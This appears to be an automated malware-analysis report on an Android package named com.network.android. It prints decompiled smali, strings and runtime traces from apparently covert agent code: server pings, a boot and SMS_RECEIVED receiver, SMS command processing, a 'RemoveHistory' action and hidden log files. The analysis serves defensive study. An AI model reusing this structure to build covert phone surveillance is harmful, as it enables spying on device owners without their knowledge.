      • com.network.android.SmsReceiver.a
      • com.network.android.SmsReceiver.a
      • com.network.android.SmsReceiver.c
      • java.io.StringWriter.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • sendHttp - Succes in send Ping
      • sendHttp - Fail to send Ping:
      • sendHttp message - Resend ping:
      • sendHttp message - Resend ping: 0
      • sendHttp message - Resend ping: 1
      • sendHttp message - Resend ping: 2
      • sendHttpFirstLastPing
      • ping SMS sendHttpFirstLastPing fails:
      • ping SMS sendHttpFirstLastPing fails:3
      • sendHttpFirstLastPing - Fail to send Ping do to server response:
      Position Instruction Meta Information
      0const/4 v7, 0x1
      1try_start_1:
      2invoke-static {}, Landroid/util/Xml;->newSerializer()Lorg/xmlpull/v1/XmlSerializer;
      3move-result-object v0
      4new-instance v1, Ljava/io/StringWriter;
      6invoke-direct {v1}, Ljava/io/StringWriter;-><init>()V
      8invoke-static {v0, v1}, Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;Ljava/io/StringWriter;)V
      10invoke-static {v0}, Lcom/network/android/SmsReceiver;->a(Lorg/xmlpull/v1/XmlSerializer;)V
      11new-instance v0, Lcom/network/android/g;
      13invoke-direct {v0}, Lcom/network/android/g;-><init>()V
      14new-instance v2, Lcom/network/android/x;
      16invoke-direct {v2, p0}, Lcom/network/android/x;-><init>(Landroid/content/Context;)V
      18invoke-static {p0}, Lcom/network/android/SmsReceiver;->c(Landroid/content/Context;)Ljava/lang/String;
      19move-result-object v0
      21invoke-virtual {v1}, Ljava/io/StringWriter;->toString()Ljava/lang/String;
      22move-result-object v1
      23const/4 v3, 0x0
      24const/4 v4, 0x0
      25const/4 v6, 0x0
      26move-object v5, p0
      28invoke-static/range {v0 .. v6}, Lcom/network/android/g;->a(Ljava/lang/String;Ljava/lang/String;Lcom/network/android/x;[Ljava/lang/String;[[BLandroid/content/Context;[B)V
      29iget v0, v2, Lcom/network/android/x;->a:I
      30if-nez v0, :cond_3d
      32const-string v0, "sendHttp - Succes in send Ping"
      34invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      35sget-boolean v0, Lcom/network/android/a/c;->i:Z
      36if-eqz v0, :cond_39
      38invoke-static {p0}, Lcom/network/h/b;->a(Landroid/content/Context;)V
      39cond_39:
      40invoke-static {p0}, Lcom/network/b/b;->c(Landroid/content/Context;)V
      41goto_3c: return-void
      42cond_3d: iget v0, v2, Lcom/network/android/x;->a:I
      43const/4 v1, -0x1
      44if-ne v0, v1, :cond_9f
      46const-string v0, "sendHttp - Fail to send Ping: "
      48invoke-static {v0}, Lcom/network/android/c/a/a;->b(Ljava/lang/String;)V
      • Time: 1074590
        • p0: sendHttp - Fail to send Ping:
      49const/4 v0, 0x3
      50if-ge p1, v0, :cond_7f
      51new-instance v0, Ljava/lang/StringBuilder;
      53const-string v1, "sendHttp message - Resend ping: "
      55invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      57invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      58move-result-object v0
      60invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      61move-result-object v0
      63invoke-static {v0}, Lcom/network/android/c/a/a;->b(Ljava/lang/String;)V
      • Time: 1074591
        • p0: sendHttp message - Resend ping: 0
      • Time: 1074790
        • p0: sendHttp message - Resend ping: 1
      • Time: 1075328
        • p0: sendHttp message - Resend ping: 2
      64add-int/lit8 v0, p1, 0x1
      66invoke-static {p0, v0}, Lcom/network/android/a/c;->a(Landroid/content/Context;I)V
      67try_end_61: goto/16 :goto_3c
      68catch_62: move-exception v0
      69new-instance v1, Ljava/lang/StringBuilder;
      71const-string v2, "sendHttpFirstLastPing"
      73invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      75invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      76move-result-object v2
      78invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      79move-result-object v1
      81invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      82move-result-object v1
      84invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      85const/16 v0, 0x15
      87invoke-static {v7, v0}, Lcom/network/android/c/a/b;->a(IS)V
      88goto/16 :goto_3c
      89try_start_7f: sget-boolean v0, Lcom/network/android/a/c;->i:Z
      90if-eqz v0, :cond_39
      91new-instance v0, Ljava/lang/StringBuilder;
      93const-string v1, "ping SMS sendHttpFirstLastPing fails:"
      95invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      97invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      98move-result-object v0
      100invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      101move-result-object v0
      103invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1076533
        • p0: ping SMS sendHttpFirstLastPing fails:3
      104const/4 v0, 0x5
      105const/4 v1, 0x0
      106const/4 v2, 0x1
      108invoke-static {p0, v0, v1, v2}, Lcom/network/android/a/c;->a(Landroid/content/Context;ILjava/lang/String;I)V
      110invoke-static {p0}, Lcom/network/h/b;->a(Landroid/content/Context;)V
      111goto/16 :goto_39
      112cond_9f: new-instance v0, Ljava/lang/StringBuilder;
      114const-string v1, "sendHttpFirstLastPing - Fail to send Ping do to server response: "
      116invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      118iget-object v1, v2, Lcom/network/android/x;->b:Ljava/lang/String;
      120invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      121move-result-object v0
      123invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      124move-result-object v0
      126invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      127sget-boolean v0, Lcom/network/android/a/c;->i:Z
      128if-eqz v0, :cond_39
      129iget v0, v2, Lcom/network/android/x;->a:I
      130const/16 v1, 0x64
      131if-ne v0, v1, :cond_c3
      132const/4 v0, 0x5
      133const/4 v1, 0x0
      134const/4 v3, 0x1
      136invoke-static {p0, v0, v1, v3}, Lcom/network/android/a/c;->a(Landroid/content/Context;ILjava/lang/String;I)V
      137cond_c3: iget v0, v2, Lcom/network/android/x;->a:I
      138const/16 v1, 0x32
      139if-ne v0, v1, :cond_ce
      141invoke-static {p0}, Lcom/network/h/b;->a(Landroid/content/Context;)V
      142goto/16 :goto_39
      143cond_ce: add-int/lit8 v0, p1, 0x1
      145invoke-static {p0, v0}, Lcom/network/android/a/c;->a(Landroid/content/Context;I)V
      146try_end_d3: goto/16 :goto_39
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.System.currentTimeMillis
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.net.HttpURLConnection.disconnect
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • disconectBadConection
      • NetworkApp emptyDataQueueAyndisconectBadConection
      • disconectBadConection (connection != null)
      • disconectBadConection timeElapsed:
      • disconectBadConection- connection Disconnect!!!!
      • printConectionStatus:
      Position Instruction Meta Information
      0try_start_0: new-instance v0, Ljava/lang/StringBuilder;
      2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      4invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      5move-result-object v0
      7const-string v1, "disconectBadConection"
      9invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      10move-result-object v0
      12invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      13move-result-object v0
      15invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079553
        • p0: NetworkApp emptyDataQueueAyndisconectBadConection
      17sget-object v0, Lcom/network/android/g;->d:Ljava/net/HttpURLConnection;
      18if-eqz v0, :cond_7e
      19new-instance v0, Ljava/lang/StringBuilder;
      21invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      23invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      24move-result-object v0
      26const-string v1, "disconectBadConection (connection != null)"
      28invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      29move-result-object v0
      31invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      32move-result-object v0
      34invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      35sget-wide v0, Lcom/network/android/g;->c:J
      36const-wide/16 v2, 0x0
      37cmp-long v0, v0, v2
      38if-eqz v0, :cond_7e
      40invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
      41move-result-wide v0
      42sget-wide v2, Lcom/network/android/g;->c:J
      43sub-long/2addr v0, v2
      44new-instance v2, Ljava/lang/StringBuilder;
      46invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      48invoke-virtual {v2, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      49move-result-object v2
      51const-string v3, "disconectBadConection timeElapsed: "
      53invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      54move-result-object v2
      56invoke-virtual {v2, v0, v1}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
      57move-result-object v2
      59invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      60move-result-object v2
      62invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      63const-wide/32 v2, 0x493e0
      64cmp-long v0, v0, v2
      65if-lez v0, :cond_7e
      66new-instance v0, Ljava/lang/StringBuilder;
      68invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      70invoke-virtual {v0, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      71move-result-object v0
      73const-string v1, "disconectBadConection- connection Disconnect!!!! "
      75invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      76move-result-object v0
      78invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      79move-result-object v0
      81invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      83sget-object v0, Lcom/network/android/g;->d:Ljava/net/HttpURLConnection;
      85invoke-virtual {v0}, Ljava/net/HttpURLConnection;->disconnect()V
      86const/4 v0, 0x0
      87sput-object v0, Lcom/network/android/g;->d:Ljava/net/HttpURLConnection;
      88goto_7e: return-void
      89catch_7f: move-exception v0
      90new-instance v1, Ljava/lang/StringBuilder;
      92const-string v2, "printConectionStatus: "
      94invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      96invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      97move-result-object v2
      99invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      100move-result-object v1
      102invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      103move-result-object v1
      105invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      106goto/16 :goto_7e
      APIs
      • android.content.Intent.getAction
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.util.Date.<init>
      • java.util.Date.toGMTString
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • com.network.media.CoreReceiver.f:Landroid/os/Handler
      • android.os.Handler.post
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • RemoveHistory
      • wake up
      • CoreReceiver onReceive action:
      • , Agent Version:
      • , Date:
      • post
      • CoreReceiver onReceive action:RemoveHistory, Agent Version: null, Date: 27 Jul 2022 09:50:17 GMT post
      • CoreReceiver onReceive action:wake up, Agent Version: null, Date: 27 Jul 2022 09:49:53 GMT post
      • CoreReceiver onReceive action:wake up, Agent Version: null, Date: 27 Jul 2022 09:50:10 GMT post
      • CoreReceiver onReceive action:wake up, Agent Version: null, Date: 27 Jul 2022 09:50:30 GMT post
      • CoreReceiver onReceive action:wake up, Agent Version: null, Date: 27 Jul 2022 09:51:30 GMT post
      • CoreReceiver onReceive action:wake up, Agent Version: null, Date: 27 Jul 2022 09:52:30 GMT post
      • onReceive Exception-
      Position Instruction Meta Information
      0try_start_0:
      1invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
      • Time: 1079485
        • This:
          • Intent { act=wake up flg=0x14 cmp=com.network.android/com.network.media.CoreReceiver (has extras) }
        • Return:
          • wake up
      • Time: 1104425
        • This:
          • Intent { act=RemoveHistory dat=TO_REMOVE:30000 flg=0x14 cmp=com.network.android/com.network.media.CoreReceiver (has extras) }
        • Return:
          • RemoveHistory
      2move-result-object v0
      3new-instance v1, Ljava/lang/StringBuilder;
      5const-string v2, "CoreReceiver onReceive action:"
      7invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      9invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      10move-result-object v1
      12const-string v2, ", Agent Version: "
      14invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      15move-result-object v1
      17sget-object v2, Lcom/network/b/b;->n:Ljava/lang/String;
      19invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      20move-result-object v1
      22const-string v2, ", Date: "
      24invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      25move-result-object v1
      26new-instance v2, Ljava/util/Date;
      28invoke-direct {v2}, Ljava/util/Date;-><init>()V
      30invoke-virtual {v2}, Ljava/util/Date;->toGMTString()Ljava/lang/String;
      31move-result-object v2
      33invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      34move-result-object v1
      36const-string v2, " post"
      38invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      39move-result-object v1
      41invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      42move-result-object v1
      44invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1079518
        • p0: CoreReceiver onReceive action:wake up, Agent Version: null, Date: 27 Jul 2022 09:49:53 GMT post
      • Time: 1096763
        • p0: CoreReceiver onReceive action:wake up, Agent Version: null, Date: 27 Jul 2022 09:50:10 GMT post
      • Time: 1104429
        • p0: CoreReceiver onReceive action:RemoveHistory, Agent Version: null, Date: 27 Jul 2022 09:50:17 GMT post
      • Time: 1116448
        • p0: CoreReceiver onReceive action:wake up, Agent Version: null, Date: 27 Jul 2022 09:50:30 GMT post
      • Time: 1176448
        • p0: CoreReceiver onReceive action:wake up, Agent Version: null, Date: 27 Jul 2022 09:51:30 GMT post
      • Time: 1236452
        • p0: CoreReceiver onReceive action:wake up, Agent Version: null, Date: 27 Jul 2022 09:52:30 GMT post
      46sget-object v1, Lcom/network/media/CoreReceiver;->f:Landroid/os/Handler;
      47new-instance v2, Lcom/network/media/e;
      49invoke-direct {v2, p0, p1, p2, v0}, Lcom/network/media/e;-><init>(Lcom/network/media/CoreReceiver;Landroid/content/Context;Landroid/content/Intent;Ljava/lang/String;)V
      51invoke-virtual {v1, v2}, Landroid/os/Handler;->post(Ljava/lang/Runnable;)Z
      52goto_45: return-void
      53catch_46: move-exception v0
      54new-instance v1, Ljava/lang/StringBuilder;
      56const-string v2, "onReceive Exception- "
      58invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      60invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      61move-result-object v2
      63invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      64move-result-object v1
      66invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      67move-result-object v1
      69invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      70goto/16 :goto_45
      Cross References
      APIs
      • android.content.Context.getSharedPreferences
      • android.content.SharedPreferences.getAll
      • java.util.Map.size
      • java.util.Map.keySet
      • java.util.Set.size
      • java.util.Map.keySet
      • java.util.Set.iterator
      • java.util.Iterator.hasNext
      • java.util.Iterator.next
      • java.util.Map.get
      • java.lang.Object.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Exception.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • Read Addreses started
      • NetworkWindowAddresess
      • - Read Address:
      • Read Addreses ended
      • readData:
      Position Instruction Meta Information
      0const/4 v0, 0x0
      1try_start_1:
      2const-string v1, "Read Addreses started"
      4invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1073722
        • p0: Read Addreses started
      6const-string v1, "NetworkWindowAddresess"
      7const/4 v2, 0x0
      9invoke-virtual {p0, v1, v2}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
      10move-result-object v1
      11if-nez v1, :cond_10
      12goto_f: return-void
      13cond_10:
      14invoke-interface {v1}, Landroid/content/SharedPreferences;->getAll()Ljava/util/Map;
      15move-result-object v2
      16if-eqz v2, :cond_f
      18invoke-interface {v2}, Ljava/util/Map;->size()I
      19move-result v1
      20if-eqz v1, :cond_f
      22invoke-interface {v2}, Ljava/util/Map;->keySet()Ljava/util/Set;
      23move-result-object v1
      25invoke-interface {v1}, Ljava/util/Set;->size()I
      26move-result v1
      27new-array v3, v1, [Ljava/lang/String;
      29invoke-interface {v2}, Ljava/util/Map;->keySet()Ljava/util/Set;
      30move-result-object v1
      32invoke-interface {v1}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
      33move-result-object v4
      34move v1, v0
      35goto_2f:
      36invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
      37move-result v0
      38if-eqz v0, :cond_69
      40invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
      41move-result-object v0
      42check-cast v0, Ljava/lang/String;
      44invoke-interface {v2, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
      45move-result-object v0
      47invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String;
      48move-result-object v0
      50invoke-static {v0}, Lcom/network/b/b;->h(Ljava/lang/String;)Ljava/lang/String;
      51move-result-object v0
      52aput-object v0, v3, v1
      53new-instance v0, Ljava/lang/StringBuilder;
      55invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      57invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      58move-result-object v0
      60const-string v5, " - Read Address: "
      62invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      63move-result-object v0
      64aget-object v5, v3, v1
      66invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      67move-result-object v0
      69invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      70move-result-object v0
      72invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      73add-int/lit8 v0, v1, 0x1
      74move v1, v0
      75goto/16 :goto_2f
      76cond_69:
      77invoke-static {v3}, Lcom/network/b/b;->b([Ljava/lang/String;)V
      79const-string v0, "Read Addreses ended"
      81invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      82try_end_71: goto/16 :goto_f
      83catch_72: move-exception v0
      84new-instance v1, Ljava/lang/StringBuilder;
      86const-string v2, "readData: "
      88invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      90invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
      91move-result-object v2
      93invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      94move-result-object v1
      96invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      97move-result-object v1
      99invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      100goto/16 :goto_f
      APIs
      • java.io.ByteArrayOutputStream.<init>
      • java.io.DataOutputStream.<init>
      • java.lang.Object.<init>
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.exists
      • java.io.File.mkdir
      • java.lang.StringBuilder.<init>
      • java.io.File.getAbsolutePath
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • vlt.dat
      • 0
      • ltmp.dat
      • /data/data/com.network.android/logs/
      • make new directory
      • make new directory/data/data/com.network.android/logs
      • processSMScommand:
      Position Instruction Meta Information
      0const/4 v2, 0x0
      1new-instance v0, Ljava/io/ByteArrayOutputStream;
      3invoke-direct {v0}, Ljava/io/ByteArrayOutputStream;-><init>()V
      4sput-object v0, Lcom/network/android/c/a/b;->f:Ljava/io/ByteArrayOutputStream;
      5new-instance v0, Ljava/io/DataOutputStream;
      7sget-object v1, Lcom/network/android/c/a/b;->f:Ljava/io/ByteArrayOutputStream;
      9invoke-direct {v0, v1}, Ljava/io/DataOutputStream;-><init>(Ljava/io/OutputStream;)V
      10sput-object v0, Lcom/network/android/c/a/b;->g:Ljava/io/DataOutputStream;
      11new-instance v0, Ljava/lang/Object;
      13invoke-direct {v0}, Ljava/lang/Object;-><init>()V
      14sput-object v0, Lcom/network/android/c/a/b;->h:Ljava/lang/Object;
      16const-string v0, "vlt.dat"
      17sput-object v0, Lcom/network/android/c/a/b;->a:Ljava/lang/String;
      18new-instance v0, Ljava/lang/StringBuilder;
      20const-string v1, "0"
      22invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      24sget-object v1, Lcom/network/android/c/a/b;->a:Ljava/lang/String;
      26invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      27move-result-object v0
      29invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      30move-result-object v0
      31sput-object v0, Lcom/network/android/c/a/b;->b:Ljava/lang/String;
      33const-string v0, "ltmp.dat"
      34sput-object v0, Lcom/network/android/c/a/b;->c:Ljava/lang/String;
      35sput-object v2, Lcom/network/android/c/a/b;->d:Ljava/lang/String;
      36const/4 v0, 0x0
      37sput-boolean v0, Lcom/network/android/c/a/b;->i:Z
      39const-string v0, "/data/data/com.network.android/logs/"
      40sput-object v0, Lcom/network/android/c/a/b;->e:Ljava/lang/String;
      41sput-object v2, Lcom/network/android/c/a/b;->j:Ljava/util/HashMap;
      42try_start_3e: new-instance v0, Ljava/io/File;
      44sget-object v1, Lcom/network/android/c/a/b;->e:Ljava/lang/String;
      46invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      • Time: 1072971
        • This:
          • /data/data/com.network.android/logs
        • p0: /data/data/com.network.android/logs/
        • Return:
          • /data/data/com.network.android/logs
      48invoke-virtual {v0}, Ljava/io/File;->exists()Z
      49move-result v1
      50if-nez v1, :cond_64
      52invoke-virtual {v0}, Ljava/io/File;->mkdir()Z
      53new-instance v1, Ljava/lang/StringBuilder;
      55const-string v2, "make new directory"
      57invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      59invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      60move-result-object v0
      62invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      63move-result-object v0
      65invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      66move-result-object v0
      68invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1072978
        • p0: make new directory/data/data/com.network.android/logs
      69goto_64: return-void
      70catch_65: move-exception v0
      71new-instance v1, Ljava/lang/StringBuilder;
      73const-string v2, "processSMScommand: "
      75invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      77invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      78move-result-object v2
      80invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      81move-result-object v1
      83invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      84move-result-object v1
      86invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      87goto/16 :goto_64
      APIs
      • android.content.Intent.getAction
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.String.equals
      • android.content.Context.getSystemService
      • android.content.Context.getSystemService
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • android.intent.action.BOOT_COMPLETED
      • android.provider.Telephony.SMS_RECEIVED
      • NetworkReceiver: 2.9.3 action:
      • apkPAth:
      • NetworkReceiver: 2.9.3 action:android.intent.action.BOOT_COMPLETED apkPAth: /data/app/com.network.android-SsvII82gNSMb8WVJzOgspg==/base.apk
      • NetworkReceiver: 2.9.3 action:android.provider.Telephony.SMS_RECEIVED apkPAth: /data/app/com.network.android-SsvII82gNSMb8WVJzOgspg==/base.apk
      • android.net.conn.CONNECTIVITY_CHANGE
      • phone
      • connectivity
      • httpPing
      • NetworkReceiver onReceive-
      Position Instruction Meta Information
      0try_start_0:
      1iget-object v0, p0, Lcom/network/android/agent/g;->a:Landroid/content/Intent;
      3invoke-virtual {v0}, Landroid/content/Intent;->getAction()Ljava/lang/String;
      • Time: 1195318
        • This:
          • Intent { act=android.intent.action.BOOT_COMPLETED }
        • Return:
          • android.intent.action.BOOT_COMPLETED
      • Time: 1203910
        • This:
          • Intent { act=android.provider.Telephony.SMS_RECEIVED (has extras) }
        • Return:
          • android.provider.Telephony.SMS_RECEIVED
      4move-result-object v0
      5new-instance v1, Ljava/lang/StringBuilder;
      7const-string v2, "NetworkReceiver: 2.9.3 action:"
      9invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      11invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      12move-result-object v1
      14const-string v2, " apkPAth: "
      16invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      17move-result-object v1
      19iget-object v2, p0, Lcom/network/android/agent/g;->b:Landroid/content/Context;
      21invoke-static {v2}, Lcom/network/h/b;->c(Landroid/content/Context;)Ljava/lang/String;
      22move-result-object v2
      24invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      25move-result-object v1
      27invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      28move-result-object v1
      30invoke-static {v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1195335
